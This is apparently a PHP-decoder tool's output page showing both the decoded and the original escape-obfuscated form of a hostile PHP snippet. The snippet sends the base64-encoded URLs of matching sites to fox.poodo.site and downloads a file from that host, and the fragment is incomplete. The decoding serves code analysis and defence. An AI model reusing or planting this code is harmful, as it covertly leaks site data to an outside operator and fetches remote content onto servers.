Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
function callback_function($response, $info, $request) { if ( preg_match( ..
Decoded Output download
<? function callback_function($response, $info, $request)
{
if (
preg_match(
"~(background-color:whitesmoke;border:1px solid #FFF;outline:none;)~i",
$response,
$out
)
) {
http_get_contents(
"http://fox.poodo.site/vesta.php?we=" .
base64_encode($info["url"]) .
"&fe=" .
base64_encode(
"inc.class.xleet.php"
)
);
goto end;
}
end:
return;
}
goto xhzib;
wby1d:
file_put_contents(
"get_xleet.txt",
http_get_contents(
"http://fox.poodo.site/get_xleet.php"
)
); ?>
Did this file decode correctly?
Original Code
function callback_function($response, $info, $request)
{
if (
preg_match(
"\176\50\142\x61\x63\153\x67\162\x6f\x75\156\144\x2d\143\157\x6c\157\162\x3a\x77\150\x69\164\145\x73\155\157\x6b\x65\73\x62\x6f\x72\x64\145\x72\x3a\61\160\170\x20\x73\x6f\154\151\144\40\x23\x46\106\106\73\157\x75\x74\154\x69\x6e\x65\72\156\157\x6e\145\x3b\x29\x7e\x69",
$response,
$out
)
) {
http_get_contents(
"\x68\x74\x74\160\72\x2f\57\x66\157\170\x2e\160\x6f\157\x64\157\x2e\x73\x69\x74\x65\x2f\166\x65\163\x74\x61\56\x70\x68\160\77\167\x65\x3d" .
base64_encode($info["\x75\162\x6c"]) .
"\46\x66\x65\75" .
base64_encode(
"\151\156\x63\x2e\143\x6c\x61\x73\x73\56\170\x6c\145\145\x74\x2e\x70\x68\x70"
)
);
goto end;
}
end:
return;
}
goto xhzib;
wby1d:
file_put_contents(
"\147\145\164\x5f\x78\x6c\x65\x65\164\56\x74\x78\x74",
http_get_contents(
"\x68\x74\x74\160\x3a\x2f\x2f\x66\157\x78\x2e\160\157\x6f\144\x6f\56\163\151\164\145\x2f\147\x65\x74\x5f\x78\x6c\145\x65\164\56\x70\150\160"
)
);
Function Calls
None |
Stats
MD5 | a5900af83de80d62855a6cdb54ba42ff |
Eval Count | 0 |
Decode Time | 32 ms |